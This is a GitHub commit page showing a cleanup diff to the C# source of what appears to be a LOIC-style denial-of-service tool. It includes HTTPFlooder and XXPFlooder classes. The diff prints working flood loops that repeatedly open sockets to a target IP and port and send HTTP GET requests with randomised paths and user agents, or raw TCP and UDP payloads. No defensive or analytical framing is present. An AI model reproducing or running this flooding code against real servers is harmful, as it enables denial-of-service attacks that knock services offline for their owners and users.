Permalink
Browse files

Code cleanup, fixes

  • Loading branch information...
1 parent 5f5c019 commit 9c35add57825e1ea95843251338958177570d485 @NewEraCracker committed Jan 21, 2012
Showing with 533 additions and 545 deletions.
  1. +9 −10 HTTPFlooder.cs
  2. +3 −3 Program.cs
  3. +1 −1 Properties/AssemblyInfo.cs
  4. +3 −3 XXPFlooder.cs
  5. +516 −525 frmMain.cs
  6. +1 −3 frmWtf.cs
View
@@ -55,18 +55,16 @@ void tTimepoll_Tick(object sender, EventArgs e)
if (Tick() > LastAction + Timeout)
{
Failed++; State = ReqState.Failed;
- tTimepoll.Stop();
- if (IsFlooding)
- {
- tTimepoll.Start();
- }
+ tTimepoll.Stop();
+ if (IsFlooding)
+ tTimepoll.Start();
}
}
private void bw_DoWork(object sender, DoWorkEventArgs e)
{
try
{
- byte[] buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.1{5}Host: {3}{5}User-Agent: {2}{5}Accept: */*{5}{4}{5}{5}", Subsite, (AllowRandom ? new Functions().RandomString() : null), new Functions().RandomUserAgent(), Host, (AllowGzip ? "Accept-Encoding: gzip, deflate" + Environment.NewLine : null), Environment.NewLine));
+ byte[] buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.1{5}Host: {3}{5}User-Agent: {2}{5}Accept: */*{5}{4}{5}{5}", Subsite, (AllowRandom ? Functions.RandomString() : null), Functions.RandomUserAgent(), Host, (AllowGzip ? "Accept-Encoding: gzip, deflate" + Environment.NewLine : null), Environment.NewLine));
IPEndPoint RHost = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port);
while (IsFlooding)
{
@@ -75,10 +73,10 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
byte[] recvBuf = new byte[64];
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
State = ReqState.Connecting; // SET STATE TO CONNECTING //
-
+
try { socket.Connect(RHost); }
catch { continue; }
-
+
socket.Blocking = Resp;
State = ReqState.Requesting; // SET STATE TO REQUESTING //
socket.Send(buf, SocketFlags.None);
@@ -87,7 +85,8 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
State = ReqState.Completed; Downloaded++; // SET STATE TO COMPLETED // DOWNLOADED++
tTimepoll.Stop();
tTimepoll.Start();
- if (Delay >= 0) System.Threading.Thread.Sleep(Delay+1);
+ if (Delay >= 0)
+ System.Threading.Thread.Sleep(Delay+1);
}
}
catch { }
@@ -98,4 +97,4 @@ private static long Tick()
return DateTime.Now.Ticks / 10000;
}
}
-}
+}
View
@@ -40,7 +40,7 @@ static void Main(string[] cmdLine)
}
public class Functions
{
- public string RandomString()
+ public static string RandomString()
{
StringBuilder builder = new StringBuilder();
Random random = new Random();
@@ -52,8 +52,8 @@ public string RandomString()
}
return builder.ToString();
}
-
- public string RandomUserAgent()
+
+ public static string RandomUserAgent()
{
Random random = new Random();
@@ -11,4 +11,4 @@
[assembly: System.CLSCompliant(true)]
[assembly: ComVisible(false)]
-[assembly: AssemblyVersion("1.1.1.25")]
+[assembly: AssemblyVersion("1.1.1.26")]
View
@@ -58,7 +58,7 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
while (IsFlooding)
{
FloodCount++;
- buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? new Functions().RandomString() : null) ));
+ buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? Functions.RandomString() : null) ));
socket.Send(buf);
if (Delay >= 0) System.Threading.Thread.Sleep(Delay+1);
}
@@ -74,7 +74,7 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
while (IsFlooding)
{
FloodCount++;
- buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? new Functions().RandomString() : null) ));
+ buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? Functions.RandomString() : null) ));
socket.SendTo(buf, SocketFlags.None, RHost);
if (Delay >= 0) System.Threading.Thread.Sleep(Delay+1);
}
@@ -86,4 +86,4 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
catch { }
}
}
-}
+}
Oops, something went wrong.

0 comments on commit 9c35add

Please sign in to comment.